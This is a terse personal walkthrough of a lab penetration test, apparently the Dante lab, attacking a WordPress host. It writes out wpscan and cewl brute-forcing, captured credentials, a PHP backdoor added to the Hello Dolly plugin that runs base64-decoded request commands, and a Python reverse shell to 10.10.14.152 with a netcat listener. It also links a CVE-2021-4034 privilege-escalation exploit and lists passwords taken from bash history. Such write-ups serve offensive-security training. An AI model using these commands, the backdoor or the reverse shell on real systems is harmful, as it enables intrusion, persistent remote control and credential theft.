#day 1

10.10.110.2 - out of scope
10.10.110.100 - entry point

- :21 ftp
  public with file
```
- Finalize Wordpress permission changes - PENDING
- Update links to to utilize DNS Name prior to changing to port 80 - PENDING
- Remove LFI vuln from the other site - PENDING
- Reset James' password to something more secure - PENDING
- Harden the system prior to the Junior Pen Tester assessment - IN PROGRESS
```
- :22 ssh
  nothing to do now

- :65000 web

robots.txt:
```
Disallow: /wordpress
Disallow: DANTE{Y0u_Cant_G3t_at_m3_br0!}
```

scan wordpress:
```
wpscan --url http://10.10.110.100:65000/wordpress --enumerate u
```

found:
- wp-config.php.swp
- - cred: `shaun:password` 
- wp users
- - `james`

brute james password too slow with rockyou.txt then we try smaller base from scratch:

```
cewl http://10.10.110.100:65000/wordpress/index.php/ >> small
wpscan --url http://10.10.110.100:65000/wordpress -U james -P ./small
```

found cred: `james:Toyota`

This user is wp admin that can moddify plugins code.
Let's add rce to dolly then enable it.

```
add_action("wp_footer", "footer_rce");

function footer_rce() {
	system(base64_decode($_REQUEST["cmd"]));
}
```

For lazy base64 i use [CyberChef](https://gchq.github.io/CyberChef).
http://10.10.110.100:65000/wordpress/?cmd=aWQ= tells us we have RCE as www-data.

# day 2

The shells from [online generator](https://www.revshells.com/)

Transmitter
```
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.152",4001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
```

Reciver
```
nc -lvnp 4001
```

Shell upgrade to more useful
```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Linpeas as www-data

the LPE exploit https://raw.githubusercontent.com/san3ncrypt3d/CVE-2021-4034-POC/refs/heads/main/CVE-2021-4034.c

Then just passwd and run real ssh with 0suck terminal

Linpeas as root

found cred:
- /home/james/.bash_history
- - balthazar:TheJoker12345!

TODO:
scan net
check James' firefox and thunderbird